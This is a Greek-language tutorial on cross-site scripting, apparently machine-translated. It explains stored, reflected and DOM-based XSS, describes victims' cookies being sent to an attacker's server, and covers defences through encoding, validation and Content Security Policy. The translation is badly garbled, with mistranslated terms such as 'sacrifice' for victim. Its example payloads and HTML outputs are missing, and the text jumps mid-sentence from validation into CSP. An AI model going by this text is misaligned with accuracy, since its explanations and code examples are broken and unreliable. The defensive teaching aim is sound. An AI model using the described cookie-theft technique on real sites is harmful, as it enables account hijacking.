Σχήμα διατομής XSS. Χρησιμοποιώντας τα τρωτά σημεία XSS στο μέγιστο. Αφαίρεση του δικού σας κώδικα

Και είναι ένα ολοκληρωμένο εγχειρίδιο για τη δέσμη scripting cross-site.

Μέρος 1: Επισκόπηση

Τι είναι το XSS;

Διασταυρωμένη δέσμη scripting ( Αγγλικά Σχολή διασταύρωσης) - Αυτή είναι μια επίθεση που στοχεύει στην εφαρμογή ενός κώδικα που επιτρέπει σε έναν εισβολέα να εκτελέσει κακόβουλη JavaScript σε άλλο πρόγραμμα περιήγησης χρηστών.

Ο επιτιθέμενος δεν επιτίθεται άμεσα στη θυσία του. Αντ 'αυτού, χρησιμοποιεί μια ευπάθεια ιστότοπου που επισκέπτεται το θύμα και εφαρμόζει έναν κακόβουλο κωδικό JavaScript. Στο πρόγραμμα περιήγησης του θύματος, το κακόβουλο JavaScript εμφανίζεται ως νόμιμο τμήμα της ιστοσελίδας και ο ίδιος ο ιστότοπος ενεργεί ως άμεσος επιθετικός συνεργός.

Εφαρμογή κακόβουλου κωδικού JavaScript

Ο μόνος τρόπος για να επιτεθεί στην έναρξη ενός κακόβουρου JavaScript στο πρόγραμμα περιήγησης θυμάτων είναι να το εισαγάγει σε μία από τις σελίδες που μεταφορτωθεί το θύμα από την ιστοσελίδα. Αυτό είναι δυνατό εάν ο ιστότοπος επιτρέπει στους χρήστες να εισάγουν δεδομένα στις σελίδες τους και ο εισβολέας θα είναι σε θέση να εισάγει μια συμβολοσειρά που θα καθοριστεί ως μέρος του κώδικα στο πρόγραμμα περιήγησης του θύματος.

Το παρακάτω παράδειγμα εμφανίζει ένα απλό σενάριο διακομιστή που χρησιμοποιείται για την εμφάνιση του τελευταίου σχημάτων στον ιστότοπο:

Τυπώνω " "
Τυπώνω "Τελευταίο σχόλιο:"
Εκτύπωση βάσης δεδομένων.Latestcomment
Τυπώνω ""

Το σενάριο υποθέτει ότι το σχόλιο αποτελείται μόνο από κείμενο. Ωστόσο, από την άμεση Προσαρμοσμένη είσοδοςΟ επιτιθέμενος μπορεί να αφήσει αυτό το σχόλιο: ""Ο χρήστης που επισκέφθηκε τη σελίδα θα λάβει τώρα την ακόλουθη απάντηση:


Τελευταίο σχόλιο:

Όταν το πρόγραμμα περιήγησης του χρήστη φορτώνει τη σελίδα, θα εκτελέσει τα πάντα, συμπεριλαμβανομένου του κωδικού JavaScript που περιέχεται μέσα στις ετικέτες . Αυτό υποδηλώνει ότι η απλή παρουσία του σεναρίου που εφαρμόζεται από τον εισβολέα είναι ένα πρόβλημα, ανεξάρτητα από το οποίο εκτελείται πραγματικά ο συγκεκριμένος κώδικας δέσμης ενεργειών.

Μέρος δύο: XSS-Attack

XSS Attack συμμετέχοντες

Πριν περιγράψουμε πώς να περιγράψουμε λεπτομερώς πώς λειτουργεί η επίθεση XSS, πρέπει να προσδιορίσουμε τα θέματα της επίθεσης XSS. Γενικά, στην επίθεση XSS υπάρχουν τρεις συμμετέχοντες: Ιστοσελίδα, θύμα, ΕΓΩ. Διαρρήκτης.

  • Ιστοσελίδα Δίνει σελίδες HTML για χρήστες που τους ζήτησαν. Στα Παραδείγματα μας, βρίσκεται στο http: // website /.
    • Βάση δεδομένων ιστότοπου Πρόκειται για μια βάση δεδομένων που αποθηκεύει ορισμένα δεδομένα που εισάγονται από χρήστες στις σελίδες του ιστότοπου.
  • Θύμα - αυτό είναι Κανονικός χρήστης Ιστοσελίδα που ζητά από σελίδες με το πρόγραμμα περιήγησής του.
  • Επίθεση - Αυτός είναι ένας εισβολέας που σκοπεύει να ξεκινήσει μια επίθεση για το θύμα μέσω της χρήσης της ευπάθειας XSS στον ιστότοπο.
    • Διακομιστής διαρρήξεων - Αυτός είναι ένας διακομιστής Web υπό τον έλεγχο ενός εισβολέα με μοναδικό σκοπό - κλοπή εμπιστευτικών πληροφοριών θύματος. Στα Παραδείγματα μας, βρίσκεται στο http: // reater /.

Παράδειγμα σεναρίου επίθεση

Αυτό το σενάριο θα δημιουργήσει ένα αίτημα HTTP σε άλλη διεύθυνση URL, η οποία θα ανακατευθύνει το πρόγραμμα περιήγησης του χρήστη στον διακομιστή εισβολέα. Η διεύθυνση URL περιλαμβάνει τα cookies των θυμάτων ως παράμετρο ερωτήματος όταν ένα αίτημα HTTP έρχεται στο διακομιστή εισβολέα, ένας εισβολέας μπορεί να εξαγάγει αυτά τα cookies από το αίτημα. Αφού ο εισβολέας έλαβε cookies, μπορεί να τα χρησιμοποιήσει για να δώσει τον εαυτό του για τη θυσία και να ξεκινήσει μια επόμενη επίθεση.

Από αυτό το σημείο ο κώδικας HTML που εμφανίζεται παραπάνω θα καλείται Κακόβουλος συμβολοσειρά ή Κακόβουλο σενάριο. Είναι σημαντικό να καταλάβουμε ότι η ίδια η χορδή είναι κακόβουλη μόνο αν τελικά επεξεργάζεται ως κώδικας HTML στο πρόγραμμα περιήγησης του θύματος και αυτό μπορεί να συμβεί μόνο εάν η ευπάθεια του XSS είναι διαθέσιμη στην ιστοσελίδα.

Πώς λειτουργεί αυτό το παράδειγμα

Το παρακάτω πρόγραμμα παρουσιάζει ένα παράδειγμα επίθεσης από έναν εισβολέα:

  1. Ο επιτιθέμενος χρησιμοποιεί μία από τις μορφές του ιστότοπου, προκειμένου να εισαγάγει μια κακόβουλη συμβολοσειρά στη βάση δεδομένων ιστότοπου.
  2. Το θύμα ζητά τη σελίδα από την ιστοσελίδα.
  3. Ο ιστότοπος περιλαμβάνει μια κακόβουλη συμβολοσειρά από τη βάση δεδομένων σε απάντηση και το στέλνει στο θύμα.
  4. Το πρόγραμμα περιήγησης θυμάτων εκτελεί ένα κακόβουλο σενάριο μέσα στην απάντηση, στέλνοντας τα θύματα στον εξυπηρετητή του εισβολέα.

Τύποι XSS.

Ο σκοπός της επίθεσης XSS οφείλεται πάντοτε σε κακόβουλο JavaScript Script Στο πρόγραμμα περιήγησης του θύματος. Υπάρχουν αρκετοί θεμελιωδώς διαφορετικοί τρόποι για να επιτευχθεί αυτός ο στόχος. Οι επιθέσεις XSS συχνά χωρίζονται σε τρεις τύπους:

  • Αποθηκευμένα (μόνιμα) XSSΌπου η κακόβουλη συμβολοσειρά προέρχεται από τη βάση δεδομένων της ιστοσελίδας.
  • Αντανακλάται (μη μόνιμη) XSSόπου δημιουργείται κακόβουλο συμβολοσειρά από το αίτημα του θύματος.
  • Μοντέλα XSS DOMΌπου συμβαίνει η ευπάθεια στον κώδικα στην πλευρά του πελάτη και όχι στην πλευρά του κώδικα διακομιστή.

Στο προηγούμενο παράδειγμα, εμφανίζεται η αποθηκευμένη επίθεση XSS. Τώρα περιγράφουμε δύο άλλους τύπους επιθέσεων XSS: αντανακλάται τα μοντέλα XSS και XSS-Attack DOM.

Αντανακλάται XSS.

Στην περίπτωση μιας αντανακλασμένης επίθεσης XSS, μια κακόβουλη συμβολοσειρά είναι μέρος του αιτήματος του θύματος στον ιστότοπο. Ο ιστότοπος λαμβάνει και εισάγει αυτή την κακόβουλη συμβολοσειρά στον χρήστη που αποστέλλεται στον χρήστη. Το παρακάτω σύστημα απεικονίζει αυτό το σενάριο:

  1. Το θύμα στέλνει δόλια το αίτημα URL στον ιστότοπο.
  2. Ο ιστότοπος περιλαμβάνει μια κακόβουλη συμβολοσειρά από το ερώτημα URL σε απάντηση στο θύμα.
  3. Το πρόγραμμα περιήγησης του θύματος εκτελεί ένα κακόβουλο σενάριο που περιέχεται στην απάντηση, στέλνοντας τα θύματα στον διακομιστή εισβολέων.

Πώς να πραγματοποιήσετε επιτυχώς μια αντανακλαστική επίθεση XSS;

Η αντανακλαστική επίθεση XSS μπορεί να φαίνεται αβλαβή, δεδομένου ότι απαιτεί από το θύμα από το όνομά του να στείλει ένα αίτημα που περιέχει μια κακόβουλη συμβολοσειρά. Δεδομένου ότι κανείς δεν θα επιτεθεί εθελοντικά, φαίνεται ότι δεν υπάρχει τρόπος πραγματικής εκτέλεσης της επίθεσης.

Καθώς αποδεικνύεται, υπάρχουν τουλάχιστον δύο συνηθισμένοι τρόποι για να γίνει η θυσία για να ξεκινήσει μια αντανακλαστική επίθεση XSS έναντι του εαυτού του:

  • Εάν ο χρήστης είναι μια συγκεκριμένη προσωπικότητα, ένας εισβολέας μπορεί να στείλει μια κακόβουλη διεύθυνση URL στο θύμα (για παράδειγμα, χρησιμοποιώντας το ηλεκτρονικό ταχυδρομείο ή το αγγελιοφόρο) και να εξαπατήσει για να το αναγκάσει να ανοίξει έναν σύνδεσμο για να επισκεφθεί τον ιστότοπο.
  • Εάν ο στόχος είναι μια μεγάλη ομάδα χρηστών, ένας εισβολέας μπορεί να δημοσιεύσει έναν σύνδεσμο σε μια κακόβουλη διεύθυνση URL (για παράδειγμα, στον δικτυακό τόπο της ή στο κοινωνικό δίκτυο) Και περιμένετε τους επισκέπτες που θα πάνε στη σύνδεση.

Και οι δύο αυτές μέθοδοι είναι παρόμοιες και οι δύο μπορεί να είναι πιο επιτυχημένες χρησιμοποιώντας υπηρεσίες για να "συντομεύσουν" τη διεύθυνση URL, συγκαλύπτουν την κακόβουλη συμβολοσειρά από τους χρήστες που θα μπορούσαν να το αναγνωρίσουν.

XSS στο μοντέλο DOM

Το XSS στο μοντέλο DOM είναι μια επιλογή ως αποθηκευμένη και αντανακλάται την επίθεση XSS. Σε αυτή την επίθεση XSS, η κακόβουλη συμβολοσειρά δεν επεξεργάζεται από το πρόγραμμα περιήγησης του θύματος, μέχρι να εκτελεστεί η πραγματική javascript της ιστοσελίδας. Το παρακάτω σύστημα απεικονίζει αυτό το σενάριο για αντανακλάσεις XSS επιθέσεις:

  1. Ο επιτιθέμενος δημιουργεί μια διεύθυνση URL που περιέχει μια κακόβουλη συμβολοσειρά και το στέλνει στο θύμα.
  2. Το θύμα είναι δόλιο από τον εισβολέα στέλνει το αίτημα URL στον ιστότοπο.
  3. Ο ιστότοπος λαμβάνει ένα αίτημα, αλλά δεν περιλαμβάνει κακόβουλη συμβολοσειρά σε απάντηση.
  4. Το πρόγραμμα περιήγησης του θύματος εκτελεί ένα νόμιμο σενάριο που περιέχεται στην απάντηση, με αποτέλεσμα Κακόβουλο σενάριο θα εισαχθεί στη σελίδα.
  5. Το πρόγραμμα περιήγησης του θύματος εκτελεί ένα κακόβουλο σενάριο που έχει εισαχθεί στη σελίδα, στέλνοντας τα cookies του θύματος στον διακομιστή εισβολέων.
Ποια είναι η διαφορά μεταξύ του XSS στο μοντέλο DOM;

Σε προηγούμενα παραδείγματα αποθηκευμένων και αντανακλασμένων επιθέσεων XSS, ο διακομιστής εισάγει ένα κακόβουλο σενάριο στη σελίδα, η οποία στη συνέχεια αποστέλλεται σε απάντηση στο θύμα. Όταν το πρόγραμμα περιήγησης του θύματος έλαβε μια απάντηση, υποθέτει ότι το κακόβουλο σενάριο αποτελεί μέρος του νόμιμου περιεχομένου της σελίδας και το εκτελεί αυτόματα κατά τη διάρκεια της φόρτωσης της σελίδας, καθώς και οποιοδήποτε άλλο σενάριο.

Στο παράδειγμα των επιθέσεων XSS στο μοντέλο DOM, το κακόβουλο σενάριο δεν έχει εισαχθεί ως μέρος της σελίδας. Το μόνο σενάριο που εκτελείται αυτόματα κατά τη διάρκεια του φορτίου σελίδας είναι ένα νόμιμο τμήμα της σελίδας. Το πρόβλημα είναι ότι αυτό το νόμιμο σενάριο χρησιμοποιεί άμεσα την καταχώρηση χρήστη για να προσθέσει HTML στη σελίδα. Δεδομένου ότι η κακόβουλη συμβολοσειρά εισάγεται στη σελίδα χρησιμοποιώντας innerhtml, αναλύεται ως HTML, ως αποτέλεσμα της οποίας θα πραγματοποιηθεί το επιβλαβές σενάριο.

Αυτή η διάκριση είναι μικρή, αλλά πολύ σημαντική:

  • Στην παραδοσιακή XSS, πραγματοποιείται κακόβουλο javascript όταν η σελίδα έχει τοποθετηθεί, ως μέρος του HTML που αποστέλλεται από το διακομιστή.
  • Στην περίπτωση του XSS στο μοντέλο DOM, πραγματοποιείται κακόβουλο javascript μετά τη φόρτωση της σελίδας, ως αποτέλεσμα, αυτή η σελίδα με νόμιμη JavaScript αναφέρεται ως μη ασφαλής τρόπος εισόδου χρήστη (που περιέχει κακόβουλη συμβολοσειρά).
Πώς λειτουργεί το XSS στο μοντέλο DOM;

Στο προηγούμενο παράδειγμα, δεν υπάρχει ανάγκη για το JavaScript. Ο διακομιστής μπορεί να δημιουργήσει όλα τα HTML από μόνη της. Εάν ο κώδικας στην πλευρά του διακομιστή δεν περιέχει ευπάθειες, ο ιστότοπος δεν θα υπόκειται σε τρωτά σημεία XSS.

Ωστόσο, δεδομένου ότι οι εφαρμογές Web γίνονται πιο προχωρημένοι, δημιουργείται μια αυξανόμενη ποσότητα σελίδων HTML χρησιμοποιώντας το JavaScript στην πλευρά του πελάτη και όχι στο διακομιστή. Ανά πάσα στιγμή, το περιεχόμενο πρέπει να αλλάξει χωρίς να ενημερώσει ολόκληρη τη σελίδα, είναι δυνατή η χρήση του JavaScript. Συγκεκριμένα, αυτό συμβαίνει όταν η σελίδα ενημερώνεται μετά το ερώτημα AJAX.

Αυτό σημαίνει ότι τα τρωτά σημεία XSS ενδέχεται να υπάρχουν όχι μόνο στο τμήμα διακομιστή του κώδικα του ιστότοπού σας, αλλά και στο πλάι του κωδικού JavaScript του πελάτη του ιστότοπού σας. Συνεπώς, ακόμη και με έναν πλήρως ασφαλές κώδικα στην πλευρά του διακομιστή, ο κωδικός πελάτη μπορεί ακόμα να ενεργοποιηθεί με ασφάλεια για να εισάγει δεδομένα χρήστη κατά την ενημέρωση του Dom μετά τη λήψη της σελίδας. Εάν συμβεί αυτό, ο κώδικας από τον πελάτη θα επιτρέψει την επίθεση XSS δεν είναι το σφάλμα του κώδικα από την πλευρά του διακομιστή.

Το XSS με βάση το μοντέλο DOM μπορεί να είναι αόρατο για το διακομιστή

Υπάρχει μια ειδική περίπτωση επιθέσεων XSS σε ένα μοντέλο DOM στο οποίο μια κακόβουλη συμβολοσειρά δεν αποστέλλεται ποτέ στον διακομιστή ιστότοπου: Αυτό συμβαίνει όταν η κακόβουλη συμβολοσειρά περιέχεται στο κομμάτι του αναγνωριστικού URL (κάτι μετά το σύμβολο #). Τα προγράμματα περιήγησης δεν στέλνουν αυτό το μέρος της διεύθυνσης URL στο διακομιστή, οπότε ο ιστότοπος δεν έχει πρόσβαση σε αυτό χρησιμοποιώντας τον κώδικα στην πλευρά του διακομιστή. Ο κώδικας από τον πελάτη, ωστόσο, έχει πρόσβαση σε αυτό, και επομένως είναι δυνατό να διεξαχθεί μια επίθεση XSS με μη ασφαλή επεξεργασία.

Αυτή η περίπτωση δεν περιορίζεται στο αναγνωριστικό θραύσματος. Υπάρχει επίσης μια άλλη είσοδος χρήστη που είναι αόρατη στον διακομιστή, για παράδειγμα, νέες λειτουργίες HTML5, όπως το τοπικό τοποθέτησης και το IndexedDB.

Μέρος τρία:
Πρόληψη XSS

Μέθοδοι πρόληψης XSS

Θυμηθείτε ότι το XSS είναι μια επίθεση του τύπου ανάπτυξης κώδικα: ο χρήστης που εισάγεται από τον χρήστη ερμηνεύεται εσφαλμένα ως κακόβουλο κωδικό προγράμματος. Προκειμένου να αποφευχθεί αυτός ο τύπος έγχυσης κώδικα, απαιτείται ασφαλής επεξεργασία εισόδου. Για έναν προγραμματιστή ιστού, υπάρχουν δύο ουσιαστικά Διάφορες μέθοδοι Εκτελέστε ασφαλή επεξεργασία εισόδου:

  • Κωδικοποίηση - Αυτός είναι ένας τρόπος που σας επιτρέπει να εισάγετε δεδομένα από τον χρήστη μόνο ως δεδομένα και δεν επιτρέπουν την επεξεργασία του προγράμματος περιήγησης ως κώδικας.
  • Επικύρωση - Αυτή η μέθοδος φιλτράρει την είσοδο χρήστη έτσι ώστε το πρόγραμμα περιήγησης να το ερμηνεύσει ως κώδικα χωρίς κακόβουλες εντολές.

Αν και αυτές είναι θεμελιωδώς διαφορετικές μέθοδοι πρόληψης της XSS, έχουν πολλά γενικά χαρακτηριστικά που είναι σημαντικά για κατανόηση κατά τη χρήση οποιουδήποτε από αυτά:

Το περιβάλλον Η ασφαλής επεξεργασία εισόδου πρέπει να γίνεται διαφορετικά ανάλογα με το πού χρησιμοποιείται η είσοδος χρήστη στη σελίδα. Η εισερχόμενη / εξερχόμενη επεξεργασία ασφαλούς εισόδου μπορεί να εκτελεστεί είτε όταν ο ιστότοπός σας λαμβάνει δεδομένα εισόδου (εισερχόμενη κυκλοφορία) ή απευθείας πριν ο ιστότοπος εισάγει μια προσαρμοσμένη είσοδο στο περιεχόμενο της σελίδας (εξερχόμενη). Η επεξεργασία ασφαλούς εισόδου Client / Server μπορεί να πραγματοποιηθεί είτε στην πλευρά του πελάτη είτε στην πλευρά του διακομιστή, κάθε επιλογή είναι απαραίτητη υπό διαφορετικές συνθήκες.

Πριν εξηγήσετε στις λεπτομέρειες Πώς λειτουργεί η κωδικοποίηση και η επικύρωση, περιγράφουμε κάθε ένα από αυτά τα στοιχεία.

Επεξεργασία εισόδου χρήστη σε περιβάλλοντα

Υπάρχουν πολλά πλαίσια σε μια ιστοσελίδα όπου μπορεί να εφαρμοστεί προσαρμοσμένη είσοδος. Πρέπει να πληρούνται ειδικοί κανόνες για κάθε ένα από αυτά, ώστε η είσοδος χρήστη να μην μπορεί να "ξεσπάσει" από το πλαίσιο και να μην μπορεί να ερμηνευτεί ως κακόβουλο κώδικα. Παρακάτω είναι τα πιο συνηθισμένα πλαίσια:

Ποια είναι η σημασία των πλαισίων;

Σε όλα τα περιγραφόμενα πλαίσια, η ευπάθεια που οδηγεί σε XSS μπορεί να προκύψει εάν ο χρήστης που εισάγεται από τον χρήστη έχει εισαχθεί στην πρώτη κωδικοποίηση ή επικύρωση. Ένας εισβολέας μπορεί να εισαγάγει έναν κακόβουλο κώδικα απλά εισάγει ένα διαχωριστικό κλεισίματος για αυτό το πλαίσιο και αφού είναι κακόβουλος κώδικας.

Για παράδειγμα, εάν σε κάποιο σημείο ο ιστότοπος περιλαμβάνει την είσοδο δεδομένων από τον χρήστη απευθείας στο χαρακτηριστικό HTML, ο εισβολέας θα είναι σε θέση να εφαρμόσει ένα κακόβουλο σενάριο ξεκινώντας την είσοδο εισαγωγής του όπως φαίνεται παρακάτω:

Αυτό θα μπορούσε να αποτραπεί, απλώς αφαιρώντας όλα τα αποσπάσματα στην είσοδο του χρήστη και όλα θα ήταν καλά, αλλά μόνο σε αυτό το πλαίσιο. Εάν η είσοδος εισήχθη σε άλλο πλαίσιο, ο διαχωριστής κλεισίματος θα διαφέρει και η ένεση θα καταστεί δυνατή. Για το λόγο αυτό, η ασφαλής επεξεργασία εισόδου θα πρέπει πάντα να προσαρμόζεται στο πλαίσιο όπου θα εισαχθεί η είσοδος χρήστη.

Επεξεργασία εισόδου εισόδου / εξερχόμενης χρήσης

Ενίσχυση, μπορεί να φαίνεται ότι το XSS μπορεί να προληφθεί με την κωδικοποίηση ή την επικύρωση ολόκληρης της εισόδου χρήστη, μόλις το λάβει ο ιστότοπός μας. Έτσι, τυχόν κακόβουλες γραμμές θα εξουδετερωθούν ήδη κάθε φορά που περιλαμβάνονται στη σελίδα και τα σενάρια Generation HTML δεν χρειάζεται να φροντίζουν την ασφαλή επεξεργασία εισόδου χρηστών.

Το πρόβλημα είναι ότι όπως περιγράφηκε προηγουμένως ο χρήστης που εισήγαγε ο χρήστης μπορεί να εισαχθεί σε διάφορα πλαίσια στη σελίδα. Και όχι Απλός τρόπος Προσδιορίστε πότε η καταχώρηση χρήστη έρχεται στο πλαίσιο - όπως τελικά θα εισαχθεί και η ίδια είσοδος χρήστη πρέπει συχνά να εισάγεται σε διαφορετικά πλαίσια. Βασιζόμενοι στην επεξεργασία της εισερχόμενης εισόδου για την πρόληψη του XSS, δημιουργούμε μια πολύ εύθραυστη λύση που θα υπόκειται σε σφάλματα. (Ξεπερασμένα "μαγικά αποσπάσματα" PHP είναι ένα παράδειγμα μιας τέτοιας λύσης.)

Αντ 'αυτού, η επεξεργασία εξερχόμενων εισροών πρέπει να είναι η κύρια γραμμή προστασίας από το XSS, επειδή μπορεί να λάβει υπόψη το συγκεκριμένο πλαίσιο, το οποίο ο χρήστης που εισάγει ο χρήστης θα εισαχθεί. Σε κάποιο βαθμό, η εισερχόμενη επικύρωση μπορεί να χρησιμοποιηθεί για να προσθέσει ένα δευτερεύον στρώμα προστασίας, αλλά αυτό αργότερα.

Όπου είναι δυνατό να εκτελεστεί η ασφαλής επεξεργασία εισόδου χρήστη

Στις περισσότερες σύγχρονες εφαρμογές ιστού, η καταχώρηση χρήστη επεξεργάζεται τόσο στην πλευρά του κώδικα διακομιστή όσο και στην πλευρά του κώδικα πελάτη. Προκειμένου να προστατευθούν από όλους τους τύπους XSS, η ασφαλής επεξεργασία εισόδου πρέπει να εκτελείται τόσο στον κώδικα στην πλευρά του διακομιστή όσο και στον κωδικό πελάτη.

  • Για την προστασία από τα παραδοσιακά XSS, η ασφαλή επεξεργασία εισόδου πρέπει να πραγματοποιείται στον κώδικα στην πλευρά του διακομιστή. Αυτό γίνεται με μια γλώσσα που υποστηρίζεται από το διακομιστή.
  • Για την προστασία από την επίθεση XSS στο μοντέλο DOM, όπου ο διακομιστής δεν λαμβάνει ποτέ κακόβουλη συμβολοσειρά (για παράδειγμα, η προηγουμένως περιγραφείσα επίθεση μέσω του θραύσματος ταυτοποίησης), η ασφαλή επεξεργασία εισόδου πρέπει να πραγματοποιείται στον κώδικα στην πλευρά του πελάτη. Αυτό γίνεται με το JavaScript.

Τώρα, όταν εξηγήσαμε γιατί το περιβάλλον έχει σημασία, γιατί η διαφορά μεταξύ εισερχόμενης και εξερχόμενης επεξεργασίας εισροών είναι σημαντική και γιατί η ασφαλή επεξεργασία εισόδου πρέπει να γίνει και στις δύο πλευρές και στην πλευρά του πελάτη και στην πλευρά του διακομιστή, μπορούμε να συνεχίσουμε να εξηγούμε Πώς εκτελούνται πραγματικά δύο τύποι ασφαλούς επεξεργασίας εισόδου (κωδικοποίηση και επικύρωση).

Κωδικοποίηση

Η κωδικοποίηση είναι μια διέξοδος από την κατάσταση όταν είναι απαραίτητο το πρόγραμμα περιήγησης εισόδου χρηστών να ερμηνεύει μόνο ως δεδομένα και όχι κώδικα. Ο πιο δημοφιλής τύπος κωδικοποίησης στην ανάπτυξη ιστού είναι η κάλυψη HTML που μετατρέπει τους χαρακτήρες όπως < και > σε < και > αντίστοιχα.

Το ακόλουθο ψευδοκώδικό είναι ένα παράδειγμα του τρόπου με τον οποίο ο χρήστης που εισάγεται από τον χρήστη (Custom Enter) μπορεί να κωδικοποιηθεί χρησιμοποιώντας κάλυψη HTML και στη συνέχεια εισάγεται στη σελίδα χρησιμοποιώντας το σενάριο του διακομιστή:

Τυπώνω " "
Τυπώνω "Τελευταίο σχόλιο:"
Εκτύπωση EncodeHTML (UserInput)
Τυπώνω ""

Εάν ο χρήστης εισέλθει στην ακόλουθη γραμμή Το προκύπτον HTML θα μοιάζει με αυτό:


Τελευταίο σχόλιο:

Επειδή όλα τα σύμβολα με ειδικές τιμές ήταν συγκαλυμμένες, το πρόγραμμα περιήγησης δεν θα αποσυναρμολογήσει κανένα μέρος της εισόδου χρήστη ως HTML.

Κωδικός κωδικοποίησης στην πλευρά του πελάτη και το διακομιστή

Όταν κωδικοποιεί τον κωδικό κωδικοποίησης από τον πελάτη, χρησιμοποιείται πάντα μια γλώσσα JavaScript, η οποία έχει ενσωματωμένες λειτουργίες που κωδικοποιούν δεδομένα για διαφορετικά πλαίσια.

Κατά την εκτέλεση κωδικοποίησης στον κωδικό σας στην πλευρά του διακομιστή, βασίζεστε στα χαρακτηριστικά που είναι διαθέσιμα στη γλώσσα ή το πλαίσιο σας. εξαιτίας Μεγάλος αριθμός Γλώσσες και διαθέσιμα πλαίσια που δόθηκαν φροντιστήριο Δεν θα καλύψει τα στοιχεία κωδικοποίησης σε κανένα συγκεκριμένο διακομιστή ή πλαίσιο. Παρ 'όλα αυτά, οι λειτουργίες που κωδικοποιούν το Javascript που χρησιμοποιούνται στην πλευρά του πελάτη χρησιμοποιούνται επίσης κατά τη σύνταξη του κώδικα στην πλευρά του διακομιστή.

Κωδικοποίηση στην πλευρά του πελάτη

Κατά την κωδικοποίηση μιας προσαρμοσμένης εισόδου πελάτη χρησιμοποιώντας το JavaScript, υπάρχουν πολλές ενσωματωμένες μέθοδοι και ιδιότητες που κωδικοποιούν αυτόματα όλα τα δεδομένα σε σχέση με τα συμφραζόμενα στυλ:

Το τελευταίο πλαίσιο που έχει ήδη αναφερθεί (τιμές στο JavaScript) δεν περιλαμβάνεται σε αυτή τη λίστα, επειδή η JavaScript δεν παρέχει μια ενσωματωμένη μέθοδο κωδικοποίησης δεδομένων, η οποία θα ενεργοποιηθεί στον πηγαίο κώδικα JavaScript.

Κωδικοποιητικοί περιορισμοί

Ακόμη και όταν η κωδικοποίηση είναι δυνατή η χρήση κακόβουλων γραμμών σε ορισμένα πλαίσια. Ένα φωτεινό παράδειγμα αυτού είναι όταν η καταχώρηση χρήστη χρησιμοποιείται για την παροχή της διεύθυνσης URL, για παράδειγμα, στο παρακάτω παράδειγμα:

document.Queryselector ("Α"). Href \u003d UserInput

Αν και η καθορισμένη τιμή στην ιδιότητα του στοιχείου HREF κωδικοποιεί αυτόματα έτσι ώστε να μην γίνεται περισσότερο από την τιμή χαρακτηριστικού, αυτό από μόνο του δεν παρεμβαίνει στον εισβολέα Εισάγετε μια διεύθυνση URL που αρχίζει με το "JavaScript:". Όταν κάνετε κλικ στον σύνδεσμο, ανεξάρτητα από την κατασκευή, θα εκτελεστεί η ενσωματωμένη JavaScript μέσα στη διεύθυνση URL.

Η κωδικοποίηση δεν είναι επίσης μια αποτελεσματική λύση όταν θέλετε οι χρήστες να χρησιμοποιούν μέρος των κωδικών HTML στη σελίδα. Ένα παράδειγμα είναι η σελίδα προφίλ του χρήστη, όπου ο χρήστης μπορεί να χρησιμοποιήσει το χρήστη HTML. Εάν έχει κωδικοποιηθεί αυτή η συνήθης HTML, η σελίδα προφίλ θα είναι σε θέση να αποτελείται μόνο από απλό κείμενο.

Σε τέτοιες καταστάσεις, η κωδικοποίηση πρέπει να συμπληρωθεί από την επικύρωση με την οποία θα γνωρίσουμε περαιτέρω.

Επικύρωση

Η επικύρωση είναι μια πράξη φιλτραρίσματος εισόδου χρήστη, έτσι ώστε όλα τα κακόβουλα μέρη να αφαιρεθούν χωρίς την ανάγκη να αφαιρεθούν ολόκληρο τον κώδικα σε αυτό. Ένας από τους πιο χρησιμοποιημένους τύπους επαλήθευσης στην ανάπτυξη ιστοσελίδων σας επιτρέπει να χρησιμοποιείτε ορισμένα στοιχεία HTML (για παράδειγμα, και ) Αλλά απαγορεύοντας τους άλλους (για παράδειγμα,

Με μια σωστά συγκεκριμένη πολιτική CSP, το πρόγραμμα περιήγησης δεν μπορεί να κατεβάσει και να εκτελέσει κακόβουλο-script.js επειδή http: // reaterer / δεν καθορίζεται ως αξιόπιστη πηγή. Παρόλο που ο ιστότοπος απέτυχε να επεξεργαστεί με ασφάλεια την είσοδο χρηστών στην προκειμένη περίπτωση, η πολιτική CSP εμπόδισε την ευπάθεια και προκαλώντας οποιαδήποτε βλάβη.

Ακόμη και αν ο εισβολέας που εγχύθηκε από τον κώδικα εντός του κώδικα σεναρίου και όχι με αναφορά στο εξωτερικό αρχείο, η σωστή διαμόρφωση της πολιτικής CSP θα απενεργοποιήσει επίσης την ένεση στον κωδικό JavaScript που εμποδίζει την ευπάθεια και προκαλώντας οποιαδήποτε βλάβη.

Πώς να ενεργοποιήσετε το CSP;

Από προεπιλογή, τα προγράμματα περιήγησης δεν χρησιμοποιούν το CSP. Για να ενεργοποιήσετε την SCP στον ιστότοπό σας, οι σελίδες πρέπει να περιέχουν μια πρόσθετη κεφαλίδα HTTP: Πολιτική περιεχομένου-ασφάλειας. Οποιαδήποτε σελίδα που περιέχει αυτόν τον τίτλο θα εφαρμόσει πολιτικές ασφαλείας κατά την εκκίνηση ενός προγράμματος περιήγησης, υπό την προϋπόθεση ότι το πρόγραμμα περιήγησης υποστηρίζει το CSP.

Δεδομένου ότι η πολιτική ασφαλείας αποστέλλεται με κάθε απάντηση HTTP, είναι δυνατό να εγκατασταθεί μεμονωμένα μια πολιτική στο διακομιστή ξεχωριστά για κάθε σελίδα. Η ίδια πολιτική μπορεί να εφαρμοστεί σε ολόκληρο τον ιστότοπο, εισάγοντας την ίδια κεφαλίδα CSP σε κάθε απόκριση.

Το περιεχόμενο στην κεφαλίδα πολιτικής για την πολιτική περιεχομένου περιέχει μια συμβολοσειρά που ορίζει μία ή περισσότερες πολιτικές ασφαλείας που θα λειτουργούν στον ιστότοπό σας. Η σύνταξη αυτής της συμβολοσειράς θα περιγραφεί παρακάτω.

Παραδείγματα κεφαλίδων Αυτή η ενότητα χρησιμοποιεί τη μεταφορά σειρών και εσοχών για απλότητα της αντίληψης. Δεν πρέπει να υπάρχουν στην παρούσα κεφαλίδα.

Σύνταξη CSP

Η σύνταξη κεφαλίδας CSP μοιάζει με αυτό:

Πολιτική ασφάλειας περιεχομένου:
Διευθυντικός Έκφραση πηγής., Έκφραση πηγής., ...;
Διευθυντικός ...;
...

Αυτή η σύνταξη αποτελείται από δύο στοιχεία:

  • Οδηγίες (οδηγίες) Παρουσιάζοντας γραμμές που υποδεικνύουν τον τύπο του πόρου που λαμβάνεται από την καθορισμένη λίστα.
  • Εκφράσεις πηγής Πρόκειται για ένα μοντέλο που περιγράφει έναν ή περισσότερους διακομιστές από όπου μπορούν να μεταφορτωθούν πόροι.

